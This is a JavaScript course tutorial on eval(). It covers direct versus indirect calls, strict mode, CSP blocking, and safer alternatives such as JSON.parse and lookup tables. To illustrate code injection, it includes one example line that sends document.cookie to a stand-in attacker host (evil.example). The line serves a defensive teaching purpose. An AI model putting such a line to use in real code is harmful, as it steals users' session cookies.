JavaScript eval(): Direct vs Indirect eval, Strict Mode and Safer Alternatives
What eval() does with strings of code, why a direct call sees local variables while an indirect call runs globally, how strict mode limits it, why eval is a security and performance risk, CSP and unsafe-eval, and the safer tools to use instead: JSON.parse, lookup tables, new Function and sandboxes.
kvi5hnuCode Sprout team member8 min readOn this page
eval(string) takes a string of JavaScript source code, runs it, and returns the result. It's one of the oldest features of the language, and the general advice about it is short: don't use it. But you should understand it anyway. It appears in interview questions, in legacy code, in security audits and in the error messages of sites with a strict Content Security Policy, and its rules explain several language design decisions.
console.log(eval("2 + 3"));
console.log(eval("if (true) { 'yes' } else { 'no' }")); // value of the last statement
console.log(eval(""), eval(42)); // non-strings are returned as is
5
yes
undefined 42
The rules of eval
eval(x):
- Returns
xunchanged if it isn't a string. - Otherwise parses the string as a script. If it doesn't parse, it throws a
SyntaxError. - Runs the code and returns the value of the last expression statement, or
undefined. - Lets any exception thrown by the code propagate to the caller.
for (const code of ["{ broken", "return 1", "throw new RangeError('limit')"]) {
try {
eval(code);
} catch (err) {
console.log(code.padEnd(30), err.name);
}
}
{ broken SyntaxError
return 1 SyntaxError
throw new RangeError('limit') RangeError
return 1 fails because the string must make sense on its own, as a script. Even when eval runs inside a function, the code isn't pasted into that function's body, so return (and break, and await outside an async context) isn't allowed.
Direct and indirect eval
This is the part that makes eval unusual. Whether eval can see your local variables depends on how you call it:
- A direct call is written literally as
eval(...), using the unqualified nameeval. It runs in the caller's scope: it can read and change local variables. - Any other call is indirect: a variable holding
eval,globalThis.eval(...),(0, eval)(...). It runs as top-level global code and can't see local variables at all.

globalThis.level = "global";
const indirectEval = eval;
function update() {
let level = "local";
eval("level += ' (direct)'"); // changes the local variable
indirectEval("level += ' (indirect)'"); // changes the global one
return level;
}
console.log(update());
console.log(globalThis.level);
local (direct)
global (indirect)
(0, eval)(code) is a common way to force an indirect call in one expression: the comma operator (article 30) returns the eval function as a plain value, so the call no longer has the literal name eval.
Why such an odd rule? A direct eval can change any local variable, so an engine can't optimize a function that contains one: it can't know which variables the string will touch. Making only the literal name eval special means the engine can see at parse time which functions need the slow path. Indirect eval, which can't touch locals, leaves the surrounding function fully optimizable. If you truly need to evaluate a string, indirect eval is the less damaging choice.
Declarations inside eval, and strict mode
Code run by eval can declare things. Where they end up depends on the declaration type and the mode:
function sloppy() {
eval("var created = 1; let scoped = 2;");
return [typeof created, typeof scoped]; // ["number", "undefined"]
}
function strict() {
"use strict";
eval("var created = 1;");
return typeof created; // "undefined"
}
let,constandclassdeclared in evaluated code always stay inside that code.- In sloppy mode, a direct
evalcan addvarand function declarations to the caller's scope (and an indirect one adds them to the global scope). This is one of the things that makes sloppy-mode code hard to analyze. - In strict mode (and in modules and classes, which are always strict), evaluated code gets its own variable environment: it can still read and assign existing local variables, but its
vardeclarations stay private.
Strict mode also treats eval almost like a keyword: you can't assign to it or use it as a variable, parameter or function name.
function strictUpdate() {
"use strict";
let count = 1;
eval("count += 1"); // reading and assigning still work
return count;
}
console.log(strictUpdate());
for (const code of ['"use strict"; eval = 1;', '"use strict"; let eval = 1;']) {
try {
new Function(code);
} catch (err) {
console.log(code.padEnd(28), err.name);
}
}
2
"use strict"; eval = 1; SyntaxError
"use strict"; let eval = 1; SyntaxError
Why eval is dangerous
1. Code injection. If any part of the string comes from a user, a URL, a database or an API, an attacker can run arbitrary code with your page's or server's full privileges. A "calculator" that does eval(input) will just as happily run fetch("https://evil.example/?c=" + document.cookie), or on a server, delete files. No amount of escaping or filtering makes this safe: JavaScript syntax is too flexible to sanitize reliably.
2. Performance. A function containing a direct eval loses many optimizations, and the evaluated code has to be parsed and compiled at run time.
3. Tooling and readability. Linters, type checkers, bundlers and minifiers can't see inside strings. Minifiers often rename local variables, which breaks direct eval code that refers to them by name. ESLint's no-eval rule flags every use.
4. It's often blocked. Sites with a Content Security Policy that omits 'unsafe-eval' from script-src make eval, new Function, and setTimeout/setInterval with string arguments throw an error. Browser extensions (Manifest V3) forbid it outright. Node.js has a flag for the same thing:
$ node --disallow-code-generation-from-strings -e 'try { eval("1 + 1") } catch (e) { console.log(e.name) }'
EvalError
EvalError is the error type reserved for this situation.
What to use instead
Almost every use of eval has a better replacement:
| You want to... | Use |
|---|---|
| Parse data sent as text | JSON.parse(text) (article 18, part 11) |
| Read a property whose name is in a variable | Bracket notation: obj[name] (article 29) |
Read a nested path like "address.city" | path.split(".").reduce((o, k) => o?.[k], obj) |
| Run one of several operations chosen by name | A lookup table of functions |
| Load code on demand | Dynamic import() (part 10) |
| Pass code to run later | A function: setTimeout(() => tick(), 100), not setTimeout("tick()", 100) |
| Evaluate user formulas | A small parser, or a library such as a math expression evaluator |
const operations = {
"+": (a, b) => a + b,
"*": (a, b) => a * b,
};
console.log(operations["*"](3, 4)); // instead of eval("3 * 4")
const user = { name: "Ana", address: { city: "Porto" } };
const path = "address.city";
console.log(path.split(".").reduce((obj, key) => obj?.[key], user));
console.log(JSON.parse('{"ids": [4, 8]}').ids[1]);
12
Porto
8
new Function: the controlled alternative
When you genuinely must turn a string into code, as template engines, code playgrounds and some serializers do, new Function(params..., body) is the better tool. It creates a function from strings, and that function always runs in the global scope, like an indirect eval, so it can't see or disturb local variables:
const add = new Function("a", "b", "return a + b");
console.log(add(2, 3));
function scopeCheck() {
const secret = 42;
const peek = new Function("return typeof secret");
return peek(); // can't see the local variable
}
console.log(scopeCheck());
5
undefined
It's still code generation from strings: it has the same injection risk and is blocked by the same CSP rule. For running untrusted code, neither is acceptable; you need real isolation, such as a sandboxed <iframe>, a Web Worker or a separate process. Node's vm module runs code in a separate global environment, but its documentation is explicit that it is not a security mechanism.
Common questions
Is eval a function or an operator?
It's a function (a property of the global object), but the direct-call rule makes it behave much like an operator: the engine treats the literal name eval specially. That's why strict mode forbids rebinding the name.
Does JSON.parse use eval internally?
No. JSON.parse uses its own parser for the JSON grammar only. It can't run code, which is exactly why it's safe for untrusted text, and why old code that parsed JSON with eval("(" + text + ")") should be replaced.
Why does setTimeout("doWork()", 100) work at all?
For historical compatibility, setTimeout and setInterval accept a string and evaluate it globally, like an indirect eval. It's slower, invisible to tooling and blocked by CSP. Always pass a function.
What does an interview question like "what is (0, eval)('this')?" test?
It tests knowledge of indirect eval: the code runs as global code, so in a script this is the global object, even if the call is made inside a function or method.
Summary
eval(string)parses and runs the string as a standalone script and returns the last value; non-strings come back unchanged.- A direct call (literally
eval(...)) sees and changes local variables; any indirect call runs as global code. let/constinside eval stay local to the evaluated code; in strict mode,varand functions do too. Strict mode also forbids rebindingeval.- eval enables code injection, defeats optimizations and tooling, and is blocked by CSP without
'unsafe-eval'; ESLint'sno-evalflags it. - Replace it with
JSON.parse, bracket access, lookup tables, dynamicimport()and real functions; usenew Functiononly for trusted strings, and real sandboxes for untrusted code.
Practice Questions
What does this code give at the top level of a script where no x exists?
eval("let x = 5; x * 2") + eval("typeof x")
Answer
"10undefined". The first eval returns 10, and its let x stays inside that evaluated code. The second eval sees no x, so typeof x is "undefined". Then 10 + "undefined" concatenates.
What does f() return?
function f() {
let n = 1;
const run = eval;
run("n = 2");
return n;
}
Answer
run(...)is an indirect call, son = 2runs as global code: it can't see the localn(in sloppy mode it creates or changes a globalninstead).
A colleague builds a calculator with result = eval(userInput). Name two problems and a fix.
Answer
Security: any JavaScript in the input runs with full privileges. Reliability: a CSP without 'unsafe-eval' makes it throw, and invalid input throws SyntaxErrors. Fix: parse the expression with a small tokenizer and evaluator, or a math-expression library that only understands arithmetic.
Rewrite eval("settings." + key + " = value") without eval.
Answer
settings[key] = value;. Bracket notation takes the property name from a variable. If key comes from outside, also guard against special names like "__proto__", or use a Map.
Previous: JavaScript Assignment Operators: =, Compound Assignment and Logical Assignment (&&=, ||=, ??=)
Next: JavaScript Conditional (Ternary), typeof, delete, void and await Operators

More in JavaScript Course
Quiz: Modern JavaScript, ES2022 to ES2027 Features
Twenty-four questions on what's new in JavaScript: change-array-by-copy methods, groupBy, Set methods, iterator helpers, Promise.withResolvers and Promise.try, RegExp.escape and the v flag, using declarations, Error.isError, Base64 typed arrays, Temporal, getOrInsert and Iterator.zip.
Quiz: JavaScript's Delicate Details (Spec-Level Edge Cases)
Twenty-eight questions on the fine print of JavaScript, drawn from the ECMAScript specification and MDN: sparse arrays, -0, number limits, JSON edge cases, Date overflow, UTF-16, property attributes, inherited accessors, comparison quirks, labels, regex state and Symbol.toPrimitive.
Quiz: JavaScript Interview Questions (Output Prediction and Core Concepts)
Thirty classic JavaScript interview questions: closures in loops, hoisting and the TDZ, this, the event loop and microtasks, async/await, coercion, sorting and parseInt traps, prototypes, copying, finally, generators and bind. Every answer was verified by running it.
Quiz: JavaScript Course Final Exam (All 17 Parts)
The final exam for the JavaScript course: thirty questions spanning all seventeen parts, from syntax, types and operators through objects, arrays, functions, classes, modules, the standard library, iterators, async code, metaprogramming, browsers, Node.js and tooling.
Discussion
Sign in to ask a question or share what you learned.